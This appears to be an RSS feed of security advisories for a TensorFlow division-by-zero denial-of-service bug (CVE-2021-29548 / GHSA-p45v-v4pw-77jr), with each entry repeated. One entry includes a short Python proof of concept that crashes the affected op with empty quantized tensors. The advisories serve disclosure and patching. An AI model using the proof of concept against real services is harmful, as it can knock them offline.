https://cve.radiocsirt.org Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Fri, 09 Oct 2026 09:13:00 +0000 https://cve.radiocsirt.org/vuln/cve-2021-29548 <p><strong>Affected:</strong> tensorflow</p> <p>TensorFlow is an end-to-end open source platform for machine learning. An attacker can cause a runtime division by zero error and denial of service in `tf.raw_ops.QuantizedBatchNormWithGlobalNormalization`. This is because the implementation(https://github.com/tensorflow/tensorflow/blob/55a97caa9e99c7f37a0bbbeb414dc55553d3ae7f/tensorflow/core/kernels/quantized_batch_norm_op.cc) does not validate all constraints specified in the op&#39;s contract(https://www.tensorflow.org/api_docs/python/tf/raw_ops/QuantizedBatchNormWithGlobalNormalization). The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.</p> <p><strong>Affected:</strong> tensorflow</p> <p>TensorFlow is an end-to-end open source platform for machine learning. An attacker can cause a runtime division by zero error and denial of service in `tf.raw_ops.QuantizedBatchNormWithGlobalNormalization`. This is because the implementation(https://github.com/tensorflow/tensorflow/blob/55a97caa9e99c7f37a0bbbeb414dc55553d3ae7f/tensorflow/core/kernels/quantized_batch_norm_op.cc) does not validate all constraints specified in the op&#39;s contract(https://www.tensorflow.org/api_docs/python/tf/raw_ops/QuantizedBatchNormWithGlobalNormalization). The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.</p> https://cve.radiocsirt.org/vuln/cve-2021-29548 https://cve.radiocsirt.org/vuln/ghsa-p45v-v4pw-77jr <p><strong>Affected:</strong> PyPI: tensorflow, PyPI: tensorflow-cpu, PyPI: tensorflow-gpu</p> <p>### Impact An attacker can cause a runtime division by zero error and denial of service in `tf.raw_ops.QuantizedBatchNormWithGlobalNormalization`:</p> <p>```python import tensorflow as tf</p> <p>t = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.quint8) t_min = tf.constant(-10.0, dtype=tf.float32) t_max = tf.constant(-10.0, dtype=tf.float32) m = tf.constant([], shape=[0], dtype=tf.quint8) m_min = tf.constant(-10.0, dtype=tf.float32) m_max = tf.constant(-10.0, dtype=tf.float32) v = tf.constant([], shape=[0], dtype=tf.quint8) v_min = tf.constant(-10.0, dtype=tf.float32) v_max = tf.constant(-10.0, dtype=tf.float32) beta = tf.constant([], shape=[0], dtype=tf.quint8) beta_min = tf.constant(-10.0, dtype=tf.float32) beta_max = tf.constant(-10.0, dtype=tf.float32) gamma = tf.constant([], shape=[0], dtype=tf.quint8) gamma_min = tf.constant(-10.0, dtype=tf.float32) gamma_max = tf.constant(-10.0, dtype=tf.float32)</p> <p>tf.raw_ops.QuantizedBatchNormWithGlobalNormalization( t=t, t_min=t_min, t_max=t_max, m=m, m_min=m_min, m_max=m_max, v=v, v_min=v_min, v_max=v_max, beta=beta, beta_min=beta_min, beta_max=beta_max, gamma=gamma, gamma_min=gamma_min, gamma_max=gamma_max, out_type=tf.qint32, variance_epsilon=0.1, scale_after_normalization=True) ```</p> <p>This is because the [implementation](https://github.com/tensorflow/tensorflow/blob/55a97caa9e99c7f37a0bbbeb414dc55553d3ae7f/tensorflow/core/kernels/quantized_batch_norm_op.cc) does not validate all constraints specified in the [op&#39;s contract](https://www.…</p> <p><strong>Affected:</strong> PyPI: tensorflow, PyPI: tensorflow-cpu, PyPI: tensorflow-gpu</p> <p>### Impact An attacker can cause a runtime division by zero error and denial of service in `tf.raw_ops.QuantizedBatchNormWithGlobalNormalization`:</p> <p>```python import tensorflow as tf</p> <p>t = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.quint8) t_min = tf.constant(-10.0, dtype=tf.float32) t_max = tf.constant(-10.0, dtype=tf.float32) m = tf.constant([], shape=[0], dtype=tf.quint8) m_min = tf.constant(-10.0, dtype=tf.float32) m_max = tf.constant(-10.0, dtype=tf.float32) v = tf.constant([], shape=[0], dtype=tf.quint8) v_min = tf.constant(-10.0, dtype=tf.float32) v_max = tf.constant(-10.0, dtype=tf.float32) beta = tf.constant([], shape=[0], dtype=tf.quint8) beta_min = tf.constant(-10.0, dtype=tf.float32) beta_max = tf.constant(-10.0, dtype=tf.float32) gamma = tf.constant([], shape=[0], dtype=tf.quint8) gamma_min = tf.constant(-10.0, dtype=tf.float32) gamma_max = tf.constant(-10.0, dtype=tf.float32)</p> <p>tf.raw_ops.QuantizedBatchNormWithGlobalNormalization( t=t, t_min=t_min, t_max=t_max, m=m, m_min=m_min, m_max=m_max, v=v, v_min=v_min, v_max=v_max, beta=beta, beta_min=beta_min, beta_max=beta_max, gamma=gamma, gamma_min=gamma_min, gamma_max=gamma_max, out_type=tf.qint32, variance_epsilon=0.1, scale_after_normalization=True) ```</p> <p>This is because the [implementation](https://github.com/tensorflow/tensorflow/blob/55a97caa9e99c7f37a0bbbeb414dc55553d3ae7f/tensorflow/core/kernels/quantized_batch_norm_op.cc) does not validate all constraints specified in the [op&#39;s contract](https://www.…</p> https://cve.radiocsirt.org/vuln/ghsa-p45v-v4pw-77jr